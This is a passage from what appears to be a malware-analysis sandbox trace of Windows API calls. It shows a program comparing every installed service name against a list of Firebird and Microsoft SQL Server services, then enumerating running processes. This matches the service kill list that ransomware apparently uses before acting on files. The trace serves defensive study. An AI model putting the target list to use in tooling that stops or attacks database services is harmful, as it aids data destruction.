lpString2="DPS") returned 1 [0054.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0054.678] lstrlenW (lpString="DusmSvc") returned 7 [0054.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0054.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0054.679] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0054.679] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0054.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0054.679] lstrlenW (lpString="EventLog") returned 8 [0054.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0054.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0054.679] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0054.679] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0054.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0054.679] lstrlenW (lpString="EventSystem") returned 11 [0054.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0054.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0054.679] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0054.679] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0054.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0054.679] lstrlenW (lpString="FontCache") returned 9 [0054.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0054.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0054.679] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0054.679] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0054.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0054.679] lstrlenW (lpString="gpsvc") returned 5 [0054.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0054.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0054.679] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0054.679] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0054.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0054.680] lstrlenW (lpString="iphlpsvc") returned 8 [0054.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.680] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0054.680] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0054.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0054.680] lstrlenW (lpString="KeyIso") returned 6 [0054.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0054.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0054.680] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0054.680] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0054.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0054.680] lstrlenW (lpString="LanmanServer") returned 12 [0054.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0054.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0054.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0054.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0054.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0054.680] lstrlenW (lpString="LanmanWorkstation") returned 17 [0054.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0054.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0054.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0054.680] lstrlenW (lpString="lfsvc") returned 5 [0054.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0054.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0054.680] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0054.681] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0054.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0054.681] lstrlenW (lpString="lmhosts") returned 7 [0054.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0054.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0054.681] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0054.681] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0054.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0054.681] lstrlenW (lpString="LSM") returned 3 [0054.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0054.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0054.681] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0054.681] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0054.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0054.681] lstrlenW (lpString="MpsSvc") returned 6 [0054.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0054.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0054.681] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0054.681] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0054.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0054.681] lstrlenW (lpString="NcbService") returned 10 [0054.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0054.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0054.681] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0054.681] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0054.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0054.681] lstrlenW (lpString="netprofm") returned 8 [0054.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0054.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0054.681] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0054.681] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0054.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0054.682] lstrlenW (lpString="NlaSvc") returned 6 [0054.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0054.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0054.682] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0054.682] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0054.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0054.682] lstrlenW (lpString="nsi") returned 3 [0054.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0054.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0054.682] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0054.682] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0054.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0054.682] lstrlenW (lpString="PcaSvc") returned 6 [0054.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0054.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0054.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0054.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0054.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0054.682] lstrlenW (lpString="PlugPlay") returned 8 [0054.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0054.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0054.682] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0054.682] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0054.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0054.682] lstrlenW (lpString="Power") returned 5 [0054.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0054.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0054.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0054.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0054.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0054.682] lstrlenW (lpString="ProfSvc") returned 7 [0054.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0054.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0054.682] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0054.683] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0054.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0054.683] lstrlenW (lpString="RpcEptMapper") returned 12 [0054.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0054.683] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0054.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0054.683] lstrlenW (lpString="RpcSs") returned 5 [0054.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0054.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0054.683] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0054.683] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0054.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0054.683] lstrlenW (lpString="SamSs") returned 5 [0054.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0054.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0054.683] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0054.683] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0054.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0054.683] lstrlenW (lpString="Schedule") returned 8 [0054.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0054.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0054.683] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0054.683] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0054.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0054.683] lstrlenW (lpString="SecurityHealthService") returned 21 [0054.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0054.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0054.683] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0054.683] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0054.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0054.683] lstrlenW (lpString="SENS") returned 4 [0054.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0054.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0054.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0054.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0054.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0054.684] lstrlenW (lpString="ShellHWDetection") returned 16 [0054.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.684] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0054.684] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0054.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0054.684] lstrlenW (lpString="Spooler") returned 7 [0054.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0054.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0054.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0054.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0054.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0054.684] lstrlenW (lpString="SSDPSRV") returned 7 [0054.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0054.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0054.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0054.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0054.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0054.684] lstrlenW (lpString="StateRepository") returned 15 [0054.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0054.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0054.684] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0054.684] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0054.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0054.684] lstrlenW (lpString="SysMain") returned 7 [0054.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0054.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0054.684] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0054.684] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0054.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0054.684] lstrlenW (lpString="SystemEventsBroker") returned 18 [0054.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0054.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0054.685] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0054.685] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0054.685] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6f6108 | out: hHeap=0x690000) returned 1 [0054.685] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328 [0054.689] Process32FirstW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.689] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.690] lstrlenW (lpString="System") returned 6 [0054.690] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.691] lstrlenW (lpString="smss.exe") returned 8 [0054.691] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.691] lstrlenW (lpString="csrss.exe") returned 9 [0054.692] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.692] lstrlenW (lpString="wininit.exe") returned 11 [0054.692] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.693] lstrlenW (lpString="csrss.exe") returned 9 [0054.693] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.694] lstrlenW (lpString="winlogon.exe") returned 12 [0054.694] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.694] lstrlenW (lpString="services.exe") returned 12 [0054.694] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.695] lstrlenW (lpString="lsass.exe") returned 9 [0054.695] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.696] lstrlenW (lpString="svchost.exe") returned 11 [0054.696] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0054.696] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0054.696] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0054.697] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0054.697] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.698] lstrlenW (lpString="svchost.exe") returned 11 [0054.698] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.699] lstrlenW (lpString="dwm.exe") returned 7 [0054.699] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.699] lstrlenW (lpString="svchost.exe") returned 11 [0054.699] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.700] lstrlenW (lpString="svchost.exe") returned 11 [0054.700] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.701] lstrlenW (lpString="svchost.exe") returned 11 [0054.701] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.701] lstrlenW (lpString="svchost.exe") returned 11 [0054.701] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.702] lstrlenW (lpString="svchost.exe") returned 11 [0054.702] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.703] lstrlenW (lpString="svchost.exe") returned 11 [0054.703] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.703] lstrlenW (lpString="svchost.exe") returned 11 [0054.703] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.706] lstrlenW (lpString="svchost.exe") returned 11 [0054.706] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.707] lstrlenW (lpString="svchost.exe") returned 11 [0054.707] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.708] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.708] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.708] lstrlenW (lpString="svchost.exe") returned 11 [0054.708] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.709] lstrlenW (lpString="svchost.exe") returned 11 [0054.709] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.710] lstrlenW (lpString="audiodg.exe") returned 11 [0054.710] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0054.710] lstrlenW (lpString="sihost.exe") returned 10 [0054.710] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.711] lstrlenW (lpString="svchost.exe") returned 11 [0054.711] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, 